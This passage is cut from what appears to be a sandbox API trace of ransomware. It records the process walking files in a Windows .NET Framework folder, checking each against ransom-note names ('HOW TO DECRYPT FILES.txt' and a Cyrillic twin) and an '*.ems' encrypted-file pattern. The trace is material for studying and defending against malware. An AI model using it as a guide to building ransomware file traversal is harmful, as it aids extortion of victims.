returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.696] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.696] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="MSBuild.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe" [0135.696] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe", pszSpec="*.ems") returned 0 [0135.697] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb60eb98, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb60eb98, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa46808fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x22f, dwReserved0=0x0, dwReserved1=0x0, cFileName="msbuild.exe.config", cAlternateFileName="MSBUIL~1.CON")) returned 1 [0135.697] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.697] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msbuild.exe.config") returned -1 [0135.697] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msbuild.exe.config") returned -1 [0135.697] lstrcmpiA (lpString1="", lpString2="msbuild.exe.config") returned -1 [0135.697] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe") returned="MSBuild.exe" [0135.697] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.697] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.697] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.697] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.697] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="msbuild.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\msbuild.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\msbuild.exe.config" [0135.697] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\msbuild.exe.config", pszSpec="*.ems") returned 0 [0135.698] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb576624, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb576624, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa473efdc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild.rsp", cAlternateFileName="")) returned 1 [0135.698] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.698] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSBuild.rsp") returned -1 [0135.698] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSBuild.rsp") returned -1 [0135.698] lstrcmpiA (lpString1="", lpString2="MSBuild.rsp") returned -1 [0135.698] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\msbuild.exe.config") returned="msbuild.exe.config" [0135.698] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.698] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.698] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.698] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.698] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="MSBuild.rsp" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.rsp") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.rsp" [0135.698] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.rsp", pszSpec="*.ems") returned 0 [0135.698] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98791254, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x98791254, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x98803675, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf3158, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscordacwks.dll", cAlternateFileName="")) returned 1 [0135.698] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.698] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscordacwks.dll") returned -1 [0135.698] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscordacwks.dll") returned -1 [0135.698] lstrcmpiA (lpString1="", lpString2="mscordacwks.dll") returned -1 [0135.699] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.rsp") returned="MSBuild.rsp" [0135.699] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.699] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.699] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.699] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.699] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="mscordacwks.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscordacwks.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscordacwks.dll" [0135.699] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscordacwks.dll", pszSpec="*.ems") returned 0 [0135.699] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f5c4dc8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f5c4dc8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f5eaf28, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13950, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscordbc.dll", cAlternateFileName="")) returned 1 [0135.699] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.699] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscordbc.dll") returned -1 [0135.699] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscordbc.dll") returned -1 [0135.699] lstrcmpiA (lpString1="", lpString2="mscordbc.dll") returned -1 [0135.699] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscordacwks.dll") returned="mscordacwks.dll" [0135.699] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.699] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.699] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.700] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.700] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="mscordbc.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscordbc.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscordbc.dll" [0135.700] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscordbc.dll", pszSpec="*.ems") returned 0 [0135.700] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x854cbcdf, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x854cbcdf, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85564260, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a750, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscordbi.dll", cAlternateFileName="")) returned 1 [0135.700] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.700] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscordbi.dll") returned -1 [0135.700] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscordbi.dll") returned -1 [0135.700] lstrcmpiA (lpString1="", lpString2="mscordbi.dll") returned -1 [0135.700] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscordbc.dll") returned="mscordbc.dll" [0135.700] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.700] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.700] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.700] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.700] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="mscordbi.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscordbi.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscordbi.dll" [0135.701] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscordbi.dll", pszSpec="*.ems") returned 0 [0135.701] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc7842f5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfc7842f5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa4cc02bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscoree.tlb", cAlternateFileName="")) returned 1 [0135.701] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.701] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscoree.tlb") returned -1 [0135.701] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscoree.tlb") returned -1 [0135.701] lstrcmpiA (lpString1="", lpString2="mscoree.tlb") returned -1 [0135.701] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscordbi.dll") returned="mscordbi.dll" [0135.701] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.701] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.701] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.701] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.701] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="mscoree.tlb" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscoree.tlb") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscoree.tlb" [0135.701] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscoree.tlb", pszSpec="*.ems") returned 0 [0135.702] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8715c514, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8715c514, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8715c514, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa950, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorie.dll", cAlternateFileName="")) returned 1 [0135.702] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.702] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorie.dll") returned -1 [0135.702] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorie.dll") returned -1 [0135.702] lstrcmpiA (lpString1="", lpString2="mscorie.dll") returned -1 [0135.702] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscoree.tlb") returned="mscoree.tlb" [0135.702] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.702] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.702] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.702] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.702] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="mscorie.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorie.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorie.dll" [0135.702] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorie.dll", pszSpec="*.ems") returned 0 [0135.702] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d181e3c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d181e3c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d1a7f9d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x58d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorjit.dll", cAlternateFileName="")) returned 1 [0135.703] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.703] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorjit.dll") returned -1 [0135.703] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorjit.dll") returned -1 [0135.703] lstrcmpiA (lpString1="", lpString2="mscorjit.dll") returned -1 [0135.703] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorie.dll") returned="mscorie.dll" [0135.703] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.703] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.703] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.703] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.703] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="mscorjit.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" [0135.703] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll", pszSpec="*.ems") returned 0 [0135.703] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8332c5e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8332c5e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8332c5e1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16350, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorld.dll", cAlternateFileName="")) returned 1 [0135.703] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.703] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorld.dll") returned -1 [0135.703] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorld.dll") returned -1 [0135.703] lstrcmpiA (lpString1="", lpString2="mscorld.dll") returned -1 [0135.704] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll") returned="mscorjit.dll" [0135.704] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.704] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.704] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.704] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.704] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="mscorld.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorld.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorld.dll" [0135.704] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorld.dll", pszSpec="*.ems") returned 0 [0135.704] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3afa84, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f3afa84, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f3fbd44, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x457000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorlib.dll", cAlternateFileName="")) returned 1 [0135.704] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.704] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorlib.dll") returned -1 [0135.704] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorlib.dll") returned -1 [0135.704] lstrcmpiA (lpString1="", lpString2="mscorlib.dll") returned -1 [0135.704] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorld.dll") returned="mscorld.dll" [0135.705] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.705] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.705] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.705] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: 